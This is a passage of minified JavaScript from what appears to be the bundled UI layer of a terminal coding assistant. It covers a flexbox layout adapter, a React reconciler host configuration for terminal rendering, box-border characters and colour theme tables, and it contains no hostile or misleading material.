0}setMinWidth(A){this.mutableStyle.minWidth=A}setMinWidthPercent(A){}setMinHeight(A){this.mutableStyle.minHeight=A}setMinHeightPercent(A){}setMaxWidth(A){this.mutableStyle.maxWidth=A}setMaxWidthPercent(A){}setMaxHeight(A){this.mutableStyle.maxHeight=A}setMaxHeightPercent(A){}setFlexDirection(A){this.mutableStyle.flexDirection=A}setFlexGrow(A){this.mutableStyle.flexGrow=A}setFlexShrink(A){this.mutableStyle.flexShrink=A}setFlexBasis(A){this.mutableStyle.flexBasis=A}setFlexBasisPercent(A){}setFlexWrap(A){this.mutableStyle.flexWrap=A}setAlignItems(A){this.mutableStyle.alignItems=cO4[A]}setAlignSelf(A){this.mutableStyle.alignSelf=cO4[A]}setJustifyContent(A){this.mutableStyle.justifyContent=Rs3[A]}setDisplay(A){this.mutableStyle.display=A}getDisplay(){return this.mutableStyle.display==="none"?BV.None:BV.Flex}setPositionType(A){this.mutableStyle.position=A}setMargin(A,K){this.mutableStyle.margin=YK6(this.mutableStyle.margin,A,K)}setPadding(A,K){this.mutableStyle.padding=YK6(this.mutableStyle.padding,A,K)}setBorder(A,K){this.mutableStyle.border=YK6(this.mutableStyle.border,A,K)}setGap(A,K){switch(A){case"all":this.mutableStyle.gap=K;break;case"column":this.mutableStyle.columnGap=K;break;case"row":this.mutableStyle.rowGap=K;break}}free(){}freeRecursive(){}syncStyleTree(){this.syncStyle();for(let A of this.childAdapters)A.syncStyleTree()}syncStyle(){let A=this.measureFunc,K=A?(Y)=>{if(Y===void 0)return A(1/0,RQ.Undefined);return A(Y,RQ.AtMost)}:void 0,q=new Sx(this.mutableStyle,K);q.layout=this.node.layout;for(let Y of this.childAdapters)q.appendChild(Y.node);if(this.parentAdapter){let Y=this.parentAdapter.node.children.indexOf(this.node);if(Y!==-1)this.parentAdapter.node.removeChild(this.node),this.parentAdapter.node.insertChild(q,Y)}this.node=q}}function YK6(A,K,q){let Y=A??{top:0,right:0,bottom:0,left:0};switch(K){case"all":return{top:q,right:q,bottom:q,left:q};case"horizontal":return{...Y,left:q,right:q};case"vertical":return{...Y,top:q,bottom:q};case"left":return{...Y,left:q};case"right":return{...Y,right:q};case"top":return{...Y,top:q};case"bottom":return{...Y,bottom:q};case"start":return{...Y,left:q};case"end":return{...Y,right:q};default:return Y}}function iO4(){return new lO4}var cO4,Rs3;var nO4=k(()=>{dO4();Yr();cO4={"flex-start":"start","flex-end":"end",center:"center",stretch:"stretch",auto:"auto"},Rs3={"flex-start":"start","flex-end":"end",center:"center","space-between":"space-between","space-around":"space-around","space-evenly":"space-evenly"}});function oO4(){if(!rO4)rO4=!0,h("Layout engine: yoga");return"yoga"}async function aO4(){if(oO4()==="yoga")await QO4()}function sO4(){if(oO4()==="bento")return iO4();return UO4()}var rO4=!1;var zK6=k(()=>{Z1();pO4();nO4()});function tO4(A,K){if(K.nodeName==="#text")return;let q=K,Y=Or.get(q);if(Y){let z=Xr.get(A);if(z)z.push(Y);else Xr.set(A,[Y]);Or.delete(q)}for(let z of q.childNodes)tO4(A,z)}function ys3(A,K){if(A===K)return!0;let q=Object.keys(A),Y=Object.keys(K);if(q.length!==Y.length)return!1;for(let z of q)if(A[z]!==K[z])return!1;return!0}var P51=(A)=>{let q={nodeName:A,style:{},attributes:{},childNodes:[],parentNode:void 0,yogaNode:A!=="ink-virtual-text"&&A!=="ink-link"&&A!=="ink-progress"?sO4():void 0,dirty:!1};if(A==="ink-text")q.yogaNode?.setMeasureFunc(Is3.bind(null,q));return q},V51=(A,K)=>{if(K.parentNode)hyA(K.parentNode,K);if(K.parentNode=A,A.childNodes.push(K),K.yogaNode)A.yogaNode?.insertChild(K.yogaNode,A.yogaNode.getChildCount());IQ(A)},wK6=(A,K,q)=>{if(K.parentNode)hyA(K.parentNode,K);K.parentNode=A;let Y=A.childNodes.indexOf(q);if(Y>=0){let z=0;if(K.yogaNode&&A.yogaNode){for(let w=0;w<Y;w++)if(A.childNodes[w]?.yogaNode)z++}if(A.childNodes.splice(Y,0,K),K.yogaNode&&A.yogaNode)A.yogaNode.insertChild(K.yogaNode,z);IQ(A);return}if(A.childNodes.push(K),K.yogaNode)A.yogaNode?.insertChild(K.yogaNode,A.yogaNode.getChildCount());IQ(A)},hyA=(A,K)=>{if(K.yogaNode)K.parentNode?.yogaNode?.removeChild(K.yogaNode);tO4(A,K),K.parentNode=void 0;let q=A.childNodes.indexOf(K);if(q>=0)A.childNodes.splice(q,1);IQ(A)},HK6=(A,K,q)=>{if(K==="children")return;if(A.attributes[K]===q)return;A.attributes[K]=q,IQ(A)},JK6=(A,K)=>{if(ys3(A.style,K))return;A.style=K,IQ(A)},eO4=(A)=>{let K={nodeName:"#text",nodeValue:A,yogaNode:void 0,parentNode:void 0,style:{}};return byA(K,A),K},Is3=function(A,K,q){let Y=A.nodeName==="#text"?A.nodeValue:DO4(A),z=yO4(Y),w=z51(z,K);if(w.width<=K)return w;if(w.width>=1&&K>0&&K<1)return w;if(z.includes(` `)&&q===RQ.Undefined){let O=Math.max(K,w.width);return z51(z,O)}let H=A.style?.textWrap??"wrap",J=ky(z,K,H);return z51(J,K)},IQ=(A)=>{let K=A,q=!1;while(K){if(K.nodeName!=="#text"){if(K.dirty=!0,!q&&K.nodeName==="ink-text"&&K.yogaNode)K.yogaNode.markDirty(),q=!0}K=K.parentNode}},byA=(A,K)=>{if(typeof K!=="string")K=String(K);if(A.nodeValue===K)return;A.nodeValue=K,IQ(A)};var OK6=k(()=>{rJ4();$51();c76();IO4();a76();Yr();zK6()});var hs3=(A,K)=>{if("position"in K)A.setPositionType(K.position==="absolute"?B76.Absolute:B76.Relative)},bs3=(A,K)=>{if("margin"in K)A.setMargin(O3.All,K.margin??0);if("marginX"in K)A.setMargin(O3.Horizontal,K.marginX??0);if("marginY"in K)A.setMargin(O3.Vertical,K.marginY??0);if("marginLeft"in K)A.setMargin(O3.Start,K.marginLeft||0);if("marginRight"in K)A.setMargin(O3.End,K.marginRight||0);if("marginTop"in K)A.setMargin(O3.Top,K.marginTop||0);if("marginBottom"in K)A.setMargin(O3.Bottom,K.marginBottom||0)},xs3=(A,K)=>{if("padding"in K)A.setPadding(O3.All,K.padding??0);if("paddingX"in K)A.setPadding(O3.Horizontal,K.paddingX??0);if("paddingY"in K)A.setPadding(O3.Vertical,K.paddingY??0);if("paddingLeft"in K)A.setPadding(O3.Left,K.paddingLeft||0);if("paddingRight"in K)A.setPadding(O3.Right,K.paddingRight||0);if("paddingTop"in K)A.setPadding(O3.Top,K.paddingTop||0);if("paddingBottom"in K)A.setPadding(O3.Bottom,K.paddingBottom||0)},us3=(A,K)=>{if("flexGrow"in K)A.setFlexGrow(K.flexGrow??0);if("flexShrink"in K)A.setFlexShrink(typeof K.flexShrink==="number"?K.flexShrink:1);if("flexWrap"in K){if(K.flexWrap==="nowrap")A.setFlexWrap(q51.NoWrap);if(K.flexWrap==="wrap")A.setFlexWrap(q51.Wrap);if(K.flexWrap==="wrap-reverse")A.setFlexWrap(q51.WrapReverse)}if("flexDirection"in K){if(K.flexDirection==="row")A.setFlexDirection(EyA.Row);if(K.flexDirection==="row-reverse")A.setFlexDirection(EyA.RowReverse);if(K.flexDirection==="column")A.setFlexDirection(EyA.Column);if(K.flexDirection==="column-reverse")A.setFlexDirection(EyA.ColumnReverse)}if("flexBasis"in K)if(typeof K.flexBasis==="number")A.setFlexBasis(K.flexBasis);else if(typeof K.flexBasis==="string")A.setFlexBasisPercent(Number.parseInt(K.flexBasis,10));else A.setFlexBasis(Number.NaN);if("alignItems"in K){if(K.alignItems==="stretch"||!K.alignItems)A.setAlignItems(LQ.Stretch);if(K.alignItems==="flex-start")A.setAlignItems(LQ.FlexStart);if(K.alignItems==="center")A.setAlignItems(LQ.Center);if(K.alignItems==="flex-end")A.setAlignItems(LQ.FlexEnd)}if("alignSelf"in K){if(K.alignSelf==="auto"||!K.alignSelf)A.setAlignSelf(LQ.Auto);if(K.alignSelf==="flex-start")A.setAlignSelf(LQ.FlexStart);if(K.alignSelf==="center")A.setAlignSelf(LQ.Center);if(K.alignSelf==="flex-end")A.setAlignSelf(LQ.FlexEnd)}if("justifyContent"in K){if(K.justifyContent==="flex-start"||!K.justifyContent)A.setJustifyContent(w4A.FlexStart);if(K.justifyContent==="center")A.setJustifyContent(w4A.Center);if(K.justifyContent==="flex-end")A.setJustifyContent(w4A.FlexEnd);if(K.justifyContent==="space-between")A.setJustifyContent(w4A.SpaceBetween);if(K.justifyContent==="space-around")A.setJustifyContent(w4A.SpaceAround);if(K.justifyContent==="space-evenly")A.setJustifyContent(w4A.SpaceEvenly)}},Bs3=(A,K)=>{if("width"in K)if(typeof K.width==="number")A.setWidth(K.width);else if(typeof K.width==="string")A.setWidthPercent(Number.parseInt(K.width,10));else A.setWidthAuto();if("height"in K)if(typeof K.height==="number")A.setHeight(K.height);else if(typeof K.height==="string")A.setHeightPercent(Number.parseInt(K.height,10));else A.setHeightAuto();if("minWidth"in K)if(typeof K.minWidth==="string")A.setMinWidthPercent(Number.parseInt(K.minWidth,10));else A.setMinWidth(K.minWidth??0);if("minHeight"in K)if(typeof K.minHeight==="string")A.setMinHeightPercent(Number.parseInt(K.minHeight,10));else A.setMinHeight(K.minHeight??0);if("maxWidth"in K)if(typeof K.maxWidth==="string")A.setMaxWidthPercent(Number.parseInt(K.maxWidth,10));else A.setMaxWidth(K.maxWidth??0);if("maxHeight"in K)if(typeof K.maxHeight==="string")A.setMaxHeightPercent(Number.parseInt(K.maxHeight,10));else A.setMaxHeight(K.maxHeight??0)},ms3=(A,K)=>{if("display"in K)A.setDisplay(K.display==="flex"?BV.Flex:BV.None)},gs3=(A,K,q)=>{let Y=q??K;if("borderStyle"in K){let z=K.borderStyle?1:0;A.setBorder(O3.Top,Y.borderTop!==!1?z:0),A.setBorder(O3.Bottom,Y.borderBottom!==!1?z:0),A.setBorder(O3.Left,Y.borderLeft!==!1?z:0),A.setBorder(O3.Right,Y.borderRight!==!1?z:0)}else{if("borderTop"in K&&K.borderTop!==void 0)A.setBorder(O3.Top,K.borderTop===!1?0:1);if("borderBottom"in K&&K.borderBottom!==void 0)A.setBorder(O3.Bottom,K.borderBottom===!1?0:1);if("borderLeft"in K&&K.borderLeft!==void 0)A.setBorder(O3.Left,K.borderLeft===!1?0:1);if("borderRight"in K&&K.borderRight!==void 0)A.setBorder(O3.Right,K.borderRight===!1?0:1)}},Fs3=(A,K)=>{if("gap"in K)A.setGap(K51.All,K.gap??0);if("columnGap"in K)A.setGap(K51.Column,K.columnGap??0);if("rowGap"in K)A.setGap(K51.Row,K.rowGap??0)},Qs3=(A,K={},q)=>{hs3(A,K),bs3(A,K),xs3(A,K),us3(A,K),Bs3(A,K),ms3(A,K),gs3(A,K,q),Fs3(A,K)},XK6;var A04=k(()=>{Yr();XK6=Qs3});var Y04,K04=(A,K)=>{if(A===K)return;if(!A)return K;let q={},Y=!1;for(let z of Object.keys(A))if(K?!Object.hasOwn(K,z):!0)q[z]=void 0,Y=!0;if(K){for(let z of Object.keys(K))if(K[z]!==A[z])q[z]=K[z],Y=!0}return Y?q:void 0},z04=(A)=>{if("childNodes"in A)for(let K of A.childNodes)z04(K);A.yogaNode=void 0},q04=(A)=>{let K=A.yogaNode;if(K)K.unsetMeasureFunc(),z04(A),K.freeRecursive()},$K6=(A)=>{let K=A;while(K.parentNode)K=K.parentNode;return K},GK6=(A)=>{if(A.internal_static)return A;for(let K of A.childNodes){if(K.nodeName==="#text")continue;let q=GK6(K);if(q)return q}return},_K6,$r;var ZK6=k(()=>{mJ4();Yr();OK6();A04();Y04=o(BJ4(),1),_K6=u76,$r=Y04.default({getRootHostContext:()=>({isInsideText:!1}),prepareForCommit:()=>null,preparePortalMount:()=>null,clearContainer:()=>!1,resetAfterCommit(A){if(typeof A.onComputeLayout==="function")A.onComputeLayout();if(A.isStaticDirty){if(A.isStaticDirty=!1,typeof A.onImmediateRender==="function")A.onImmediateRender();return}A.onRender?.()},getChildHostContext(A,K){let q=A.isInsideText,Y=K==="ink-text"||K==="ink-virtual-text"||K==="ink-link";if(q===Y)return A;return{isInsideText:Y}},shouldSetTextContent:()=>!1,createInstance(A,K,q,Y){if(Y.isInsideText&&A==="ink-box")throw Error("<Box> can't be nested inside <Text> component");let z=A==="ink-text"&&Y.isInsideText?"ink-virtual-text":A,w=P51(z);for(let[H,J]of Object.entries(K)){if(H==="children")continue;if(H==="style"){if(JK6(w,J),w.yogaNode)XK6(w.yogaNode,J);continue}if(H==="textStyles"){w.textStyles=J;continue}if(H==="internal_static"){w.internal_static=!0;continue}HK6(w,H,J)}return w},createTextInstance(A,K,q){if(!q.isInsideText)throw Error(`Text string "${A}" must be rendered inside <Text> component`);return eO4(A)},resetTextContent(){},hideTextInstance(A){byA(A,"")},unhideTextInstance(A,K){byA(A,K)},getPublicInstance:(A)=>A,hideInstance(A){A.yogaNode?.setDisplay(BV.None)},unhideInstance(A){A.yogaNode?.setDisplay(BV.Flex)},appendInitialChild:V51,appendChild(A,K){if(V51(A,K),K.internal_static){let q=$K6(A);q.isStaticDirty=!0,q.staticNode=K}},insertBefore(A,K,q){if(wK6(A,K,q),K.internal_static){let Y=$K6(A);Y.isStaticDirty=!0,Y.staticNode=K}},finalizeInitialChildren(){return!1},isPrimaryRenderer:!0,supportsMutation:!0,supportsPersistence:!1,supportsHydration:!1,scheduleTimeout:setTimeout,cancelTimeout:clearTimeout,noTimeout:-1,getCurrentUpdatePriority:()=>_K6,beforeActiveInstanceBlur(){},afterActiveInstanceBlur(){},detachDeletedInstance(){},getInstanceFromNode:()=>null,prepareScopeUpdate(){},getInstanceFromScope:()=>null,appendChildToContainer(A,K){V51(A,K);let q=GK6(K);if(q)A.isStaticDirty=!0,A.staticNode=q},insertInContainerBefore(A,K,q){wK6(A,K,q);let Y=GK6(K);if(Y)A.isStaticDirty=!0,A.staticNode=Y},removeChildFromContainer(A,K){hyA(A,K),q04(K)},commitUpdate(A,K,q,Y){if(A.internal_static){let H=$K6(A);H.isStaticDirty=!0}let z=K04(q,Y),w=K04(q.style,Y.style);if(z)for(let[H,J]of Object.entries(z)){if(H==="style"){JK6(A,J);continue}if(H==="textStyles"){A.textStyles=J,IQ(A);continue}if(H==="internal_static"){A.internal_static=!0;continue}HK6(A,H,J)}if(w&&A.yogaNode)XK6(A.yogaNode,w,Y.style)},commitTextUpdate(A,K,q){byA(A,q)},removeChild(A,K){hyA(A,K),q04(K)},maySuspendCommit(){return!1},preloadInstance(){return!0},startSuspendingCommit(){},suspendInstance(){},waitForCommitToBeReady(){return null},NotPendingTransition:null,HostTransitionContext:{$$typeof:Symbol.for("react.context"),_currentValue:null},setCurrentUpdatePriority(A){_K6=A},resolveUpdatePriority(){return _K6},resetFormInstance(){},requestPostPaintCallback(){},shouldAttemptEagerTransition(){return!1},trackSchedulerEvent(){},resolveEventType(){return null},resolveEventTimeStamp(){return-1.1}})});function WK6(A,K=1,q={}){let{indent:Y=" ",includeEmptyLines:z=!1}=q;if(typeof A!=="string")throw TypeError(`Expected \`input\` to be a \`string\`, got \`${typeof A}\``);if(typeof K!=="number")throw TypeError(`Expected \`count\` to be a \`number\`, got \`${typeof K}\``);if(K<0)throw RangeError(`Expected \`count\` to be at least 0, got \`${K}\``);if(typeof Y!=="string")throw TypeError(`Expected \`options.indent\` to be a \`string\`, got \`${typeof Y}\``);if(K===0)return A;let w=z?/^/gm:/^(?!\s*$)/gm;return A.replace(w,Y.repeat(K))}var Us3=(A)=>{return A.getComputedWidth()-A.getComputedPadding(O3.Left)-A.getComputedPadding(O3.Right)-A.getComputedBorder(O3.Left)-A.getComputedBorder(O3.Right)},w04;var H04=k(()=>{Yr();w04=Us3});var J04=v((R5w,ps3)=>{ps3.exports={single:{topLeft:"┌",top:"─",topRight:"┐",right:"│",bottomRight:"┘",bottom:"─",bottomLeft:"└",left:"│"},double:{topLeft:"╔",top:"═",topRight:"╗",right:"║",bottomRight:"╝",bottom:"═",bottomLeft:"╚",left:"║"},round:{topLeft:"╭",top:"─",topRight:"╮",right:"│",bottomRight:"╯",bottom:"─",bottomLeft:"╰",left:"│"},bold:{topLeft:"┏",top:"━",topRight:"┓",right:"┃",bottomRight:"┛",bottom:"━",bottomLeft:"┗",left:"┃"},singleDouble:{topLeft:"╓",top:"─",topRight:"╖",right:"║",bottomRight:"╜",bottom:"─",bottomLeft:"╙",left:"║"},doubleSingle:{topLeft:"╒",top:"═",topRight:"╕",right:"│",bottomRight:"╛",bottom:"═",bottomLeft:"╘",left:"│"},classic:{topLeft:"+",top:"-",topRight:"+",right:"|",bottomRight:"+",bottom:"-",bottomLeft:"+",left:"|"},arrow:{topLeft:"↘",top:"↓",topRight:"↙",right:"←",bottomRight:"↖",bottom:"↑",bottomLeft:"↗",left:"→"}}});var X04=v((y5w,DK6)=>{var O04=J04();DK6.exports=O04;DK6.exports.default=O04});function Ry(A){switch(A){case"light":return ds3;case"light-ansi":return cs3;case"dark-ansi":return ls3;case"light-daltonized":return is3;case"dark-daltonized":return rs3;default:return ns3}}function f51(A){let K=A.match(/rgb\(\s?(\d+),\s?(\d+),\s?(\d+)\s?\)/);if(K){let q=parseInt(K[1],10),Y=parseInt(K[2],10),z=parseInt(K[3],10),w=os3.rgb(q,Y,z)("X");return w.slice(0,w.indexOf("X"))}return"\x1B[35m"}var $04,ds3,cs3,ls3,is3,ns3,rs3,os3;var Z4A=k(()=>{u5();z3();$04=["dark","light","light-daltonized","dark-daltonized","light-ansi","dark-ansi"],ds3={autoAccept:"rgb(135,0,255)",bashBorder:"rgb(255,0,135)",claude:"rgb(215,119,87)",claudeShimmer:"rgb(245,149,117)",claudeBlue_FOR_SYSTEM_SPINNER:"rgb(87,105,247)",claudeBlueShimmer_FOR_SYSTEM_SPINNER:"rgb(117,135,255)",permission:"rgb(87,105,247)",permissionShimmer:"rgb(137,155,255)",planMode:"rgb(0,102,102)",delegateMode:"rgb(138,43,226)",ide:"rgb(71,130,200)",promptBorder:"rgb(153,153,153)",promptBorderShimmer:"rgb(183,183,183)",text:"rgb(0,0,0)",inverseText:"rgb(255,255,255)",inactive:"rgb(102,102,102)",inactiveShimmer:"rgb(142,142,142)",subtle:"rgb(175,175,175)",suggestion:"rgb(87,105,247)",remember:"rgb(0,0,255)",background:"rgb(0,153,153)",success:"rgb(44,122,57)",error:"rgb(171,43,63)",warning:"rgb(150,108,30)",merged:"rgb(135,0,255)",warningShimmer:"rgb(200,158,80)",diffAdded:"rgb(105,219,124)",diffRemoved:"rgb(255,168,180)",diffAddedDimmed:"rgb(199,225,203)",diffRemovedDimmed:"rgb(253,210,216)",diffAddedWord:"rgb(47,157,68)",diffRemovedWord:"rgb(209,69,75)",red_FOR_SUBAGENTS_ONLY:"rgb(220,38,38)",blue_FOR_SUBAGENTS_ONLY:"rgb(37,99,235)",green_FOR_SUBAGENTS_ONLY:"rgb(22,163,74)",yellow_FOR_SUBAGENTS_ONLY:"rgb(202,138,4)",purple_FOR_SUBAGENTS_ONLY:"rgb(147,51,234)",orange_FOR_SUBAGENTS_ONLY:"rgb(234,88,12)",pink_FOR_SUBAGENTS_ONLY:"rgb(219,39,119)",cyan_FOR_SUBAGENTS_ONLY:"rgb(8,145,178)",professionalBlue:"rgb(106,155,204)",chromeYellow:"rgb(251,188,4)",clawd_body:"rgb(215,119,87)",clawd_background:"rgb(0,0,0)",userMessageBackground:"rgb(240, 240, 240)",bashMessageBackgroundColor:"rgb(250, 245, 250)",memoryBackgroundColor:"rgb(230, 245, 250)",rate_limit_fill:"rgb(87,105,247)",rate_limit_empty:"rgb(39,47,111)"},cs3={autoAccept:"ansi:magenta",bashBorder:"ansi:magenta",claude:"ansi:redBright",claudeShimmer:"ansi:yellowBright",claudeBlue_FOR_SYSTEM_SPINNER:"ansi:blue",claudeBlueShimmer_FOR_SYSTEM_SPINNER:"ansi:blueBright",permission:"ansi:blue",permissionShimmer:"ansi:blueBright",planMode:"ansi:cyan",delegateMode:"ansi:magenta",ide:"ansi:blueBright",promptBorder:"ansi:white",promptBorderShimmer:"ansi:whiteBright",text:"ansi:black",inverseText:"ansi:white",inactive:"ansi:blackBright",inactiveShimmer:"ansi:white",subtle:"ansi:blackBright",suggestion:"ansi:blue",remember:"ansi:blue",background:"ansi:cyan",success:"ansi:green",error:"ansi:red",warning:"ansi:yellow",merged:"ansi:magenta",warningShimmer:"ansi:yellowBright",diffAdded:"ansi:green",diffRemoved:"ansi:red",diffAddedDimmed:"ansi:green",diffRemovedDimmed:"ansi:red",diffAddedWord:"ansi:greenBright",diffRemovedWord:"ansi:redBright",red_FOR_SUBAGENTS_ONLY:"ansi:red",blue_FOR_SUBAGENTS_ONLY:"ansi:blue",green_FOR_SUBAGENTS_ONLY:"ansi:green",yellow_FOR_SUBAGENTS_ONLY:"ansi:yellow",purple_FOR_SUBAGENTS_ONLY:"ansi:magenta",orange_FOR_SUBAGENTS_ONLY:"ansi:redBright",pink_FOR_SUBAGENTS_ONLY:"ansi:magentaBright",cyan_FOR_SUBAGENTS_ONLY:"ansi:cyan",professionalBlue:"ansi:blueBright",chromeYellow:"ansi:yellow",clawd_body:"ansi:redBright",clawd_background:"ansi:black",userMessageBackground:"ansi:white",bashMessageBackgroundColor:"ansi:whiteBright",memoryBackgroundColor:"ansi:white",rate_limit_fill:"ansi:yellow",rate_limit_empty:"ansi:black"},ls3={autoAccept:"ansi:magentaBright",bashBorder:"ansi:magentaBright",claude:"ansi:redBright",claudeShimmer:"ansi:yellowBright",claudeBlue_FOR_SYSTEM_SPINNER:"ansi:blueBright",claudeBlueShimmer_FOR_SYSTEM_SPINNER:"ansi:blueBright",permission:"ansi:blueBright",permissionShimmer:"ansi:blueBright",planMode:"ansi:cyanBright",delegateMode:"ansi:magentaBright",ide:"ansi:blue",promptBorder:"ansi:white",promptBorderShimmer:"ansi:whiteBright",text:"ansi:whiteBright",inverseText:"ansi:black",inactive:"ansi:white",inactiveShimmer:"ansi:whiteBright",subtle:"ansi:white",suggestion:"ansi:blueBright",remember:"ansi:blueBright",background:"ansi:cyanBright",success:"ansi:greenBright",error:"ansi:redBright",warning:"ansi:yellowBright",merged:"ansi:magentaBright",warningShimmer:"ansi:yellowBright",diffAdded:"ansi:green",diffRemoved:"ansi:red",diffAddedDimmed:"ansi:green",diffRemovedDimmed:"ansi:red",diffAddedWord:"ansi:greenBright",diffRemovedWord:"ansi:redBright",red_FOR_SUBAGENTS_ONLY:"ansi:redBright",blue_FOR_SUBAGENTS_ONLY:"ansi:blueBright",green_FOR_SUBAGENTS_ONLY:"ansi:greenBright",yellow_FOR_SUBAGENTS_ONLY:"ansi:yellowBright",purple_FOR_SUBAGENTS_ONLY:"ansi:magentaBright",orange_FOR_SUBAGENTS_ONLY:"ansi:redBright",pink_FOR_SUBAGENTS_ONLY:"ansi:magentaBright",cyan_FOR_SUBAGENTS_ONLY:"ansi:cyanBright",professionalBlue:"rgb(106,155,204)",chromeYellow:"ansi:yellowBright",clawd_body:"ansi:redBright",clawd_background:"ansi:black",userMessageBackground:"ansi:blackBright",bashMessageBackgroundColor:"ansi:black",memoryBackgroundColor:"ansi:blackBright",rate_limit_fill:"ansi:yellow",rate_limit_empty:"ansi:white"},is3={autoAccept:"rgb(135,0,255)",bashBorder:"rgb(0,102,204)",claude:"rgb(255,153,51)",claudeShimmer:"rgb(255,183,101)",claudeBlue_FOR_SYSTEM_SPINNER:"rgb(51,102,255)",claudeBlueShimmer_FOR_SYSTEM_SPINNER:"rgb(101,152,255)",permission:"rgb(51,102,255)",permissionShimmer:"rgb(101,152,255)",planMode:"rgb(51,102,102)",delegateMode:"rgb(138,43,226)",ide:"rgb(71,130,200)",promptBorder:"rgb(153,153,153)",promptBorderShimmer:"rgb(183,183,183)",text:"rgb(0,0,0)",inverseText:"rgb(255,255,255)",inactive:"rgb(102,102,102)",inactiveShimmer:"rgb(142,142,142)",subtle:"rgb(175,175,175)",suggestion:"rgb(51,102,255)",remember:"rgb(51,102,255)",background:"rgb(0,153,153)",success:"rgb(0,102,153)",error:"rgb(204,0,0)",warning:"rgb(255,153,0)",merged:"rgb(135,0,255)",warningShimmer:"rgb(255,183,50)",diffAdded:"rgb(153,204,255)",diffRemoved:"rgb(255,204,204)",diffAddedDimmed:"rgb(209,231,253)",diffRemovedDimmed:"rgb(255,233,233)",diffAddedWord:"rgb(51,102,204)",diffRemovedWord:"rgb(153,51,51)",red_FOR_SUBAGENTS_ONLY:"rgb(204,0,0)",blue_FOR_SUBAGENTS_ONLY:"rgb(0,102,204)",green_FOR_SUBAGENTS_ONLY:"rgb(0,204,0)",yellow_FOR_SUBAGENTS_ONLY:"rgb(255,204,0)",purple_FOR_SUBAGENTS_ONLY:"rgb(128,0,128)",orange_FOR_SUBAGENTS_ONLY:"rgb(255,128,0)",pink_FOR_SUBAGENTS_ONLY:"rgb(255,102,178)",cyan_FOR_SUBAGENTS_ONLY:"rgb(0,178,178)",professionalBlue:"rgb(106,155,204)",chromeYellow:"rgb(251,188,4)",clawd_body:"rgb(215,119,87)",clawd_background:"rgb(0,0,0)",userMessageBackground:"rgb(220, 220, 220)",bashMessageBackgroundColor:"rgb(250, 245, 250)",memoryBackgroundColor:"rgb(230, 245, 250)",rate_limit_fill:"rgb(51,102,255)",rate_limit_empty:"rgb(23,46,114)"},ns3={autoAccept:"rgb(175,135,255)",bashBorder:"rgb(253,93,177)",claude:"rgb(215,119,87)",claudeShimmer:"rgb(235,159,127)",claudeBlue_FOR_SYSTEM_SPINNER:"rgb(147,165,255)",claudeBlueShimmer_FOR_SYSTEM_SPINNER:"rgb(177,195,255)",permission:"rgb(177,185,249)",permissionShimmer:"rgb(207,215,255)",planMode:"rgb(72,150,140)",delegateMode:"rgb(186,85,255)",ide:"rgb(71,130,200)",promptBorder:"rgb(136,136,136)",promptBorderShimmer:"rgb(166,166,166)",text:"rgb(255,255,255)",inverseText:"rgb(0,0,0)",inactive:"rgb(153,153,153)",inactiveShimmer:"rgb(193,193,193)",subtle:"rgb(80,80,80)",suggestion:"rgb(177,185,249)",remember:"rgb(177,185,249)",background:"rgb(0,204,204)",success:"rgb(78,186,101)",error:"rgb(255,107,128)",warning:"rgb(255,193,7)",merged:"rgb(175,135,255)",warningShimmer:"rgb(255,223,57)",diffAdded:"rgb(34,92,43)",diffRemoved:"rgb(122,41,54)",diffAddedDimmed:"rgb(71,88,74)",diffRemovedDimmed:"rgb(105,72,77)",diffAddedWord:"rgb(56,166,96)",diffRemovedWord:"rgb(179,89,107)",red_FOR_SUBAGENTS_ONLY:"rgb(220,38,38)",blue_FOR_SUBAGENTS_ONLY:"rgb(37,99,235)",green_FOR_SUBAGENTS_ONLY:"rgb(22,163,74)",yellow_FOR_SUBAGENTS_ONLY:"rgb(202,138,4)",purple_FOR_SUBAGENTS_ONLY:"rgb(147,51,234)",orange_FOR_SUBAGENTS_ONLY:"rgb(234,88,12)",pink_FOR_SUBAGENTS_ONLY:"rgb(219,39,119)",cyan_FOR_SUBAGENTS_ONLY:"rgb(8,145,178)",professionalBlue:"rgb(106,155,204)",chromeYellow:"rgb(251,188,4)",clawd_body:"rgb(215,119,87)",clawd_background:"rgb(0,0,0)",userMessageBackground:"rgb(55, 55, 55)",bashMessageBackgroundColor:"rgb(65, 60, 65)",memoryBackgroundColor:"rgb(55, 65, 70)",rate_limit_fill:"rgb(177,185,249)",rate_limit_empty:"rgb(80,83,112)"},rs3={autoAccept:"rgb(175,135,255)",bashBorder:"rgb(51,153,255)",claude:"rgb(255,153,51)",claudeShimmer:"rgb(255,183,101)",claudeBlue_FOR_SYSTEM_SPINNER:"rgb(153,204,255)",claudeBlueShimmer_FOR_SYSTEM_SPINNER:"rgb(183,224,255)",permission:"rgb(153,204,255)",permissionShimmer:"rgb(183,224,255)",planMode:"rgb(102,153,153)",delegateMode:"rgb(186,85,255)",ide:"rgb(71,130,200)",promptBorder:"rgb(136,136,136)",promptBorderShimmer:"rgb(166,166,166)",text:"rgb(255,255,255)",inverseText:"rgb(0,0,0)",inactive:"rgb(153,153,153)",inactiveShimmer:"rgb(193,193,193)",subtle:"rgb(80,80,80)",suggestion:"rgb(153,204,255)",remember:"rgb(153,204,255)",background:"rgb(0,204,204)",success:"rgb(51,153,255)",error:"rgb(255,102,102)",warning:"rgb(255,204,0)",merged:"rgb(175,135,255)",warningShimmer:"rgb(255,234,50)",diffAdded:"rgb(0,68,102)",diffRemoved:"rgb(102,0,0)",diffAddedDimmed:"rgb(62,81,91)",diffRemovedDimmed:"rgb(62,44,44)",diffAddedWord:"rgb(0,119,179)",diffRemovedWord:"rgb(179,0,0)",red_FOR_SUBAGENTS_ONLY:"rgb(255,102,102)",blue_FOR_SUBAGENTS_ONLY:"rgb(102,178,255)",green_FOR_SUBAGENTS_ONLY:"rgb(102,255,102)",yellow_FOR_SUBAGENTS_ONLY:"rgb(255,255,102)",purple_FOR_SUBAGENTS_ONLY:"rgb(178,102,255)",orange_FOR_SUBAGENTS_ONLY:"rgb(255,178,102)",pink_FOR_SUBAGENTS_ONLY:"rgb(255,153,204)",cyan_FOR_SUBAGENTS_ONLY:"rgb(102,204,204)",professionalBlue:"rgb(106,155,204)",chromeYellow:"rgb(251,188,4)",clawd_body:"rgb(215,119,87)",clawd_background:"rgb(0,0,0)",userMessageBackground:"rgb(55, 55, 55)",bashMessageBackgroundColor:"rgb(65, 60, 65)",memoryBackgroundColor:"rgb(55, 65, 70)",rate_limit_fill:"rgb(153,204,255)",rate_limit_empty:"rgb(69,92,115)"};os3=m6.terminal==="Apple_Terminal"?new Iy1({level:2}):O1});function uyA(A,K){let 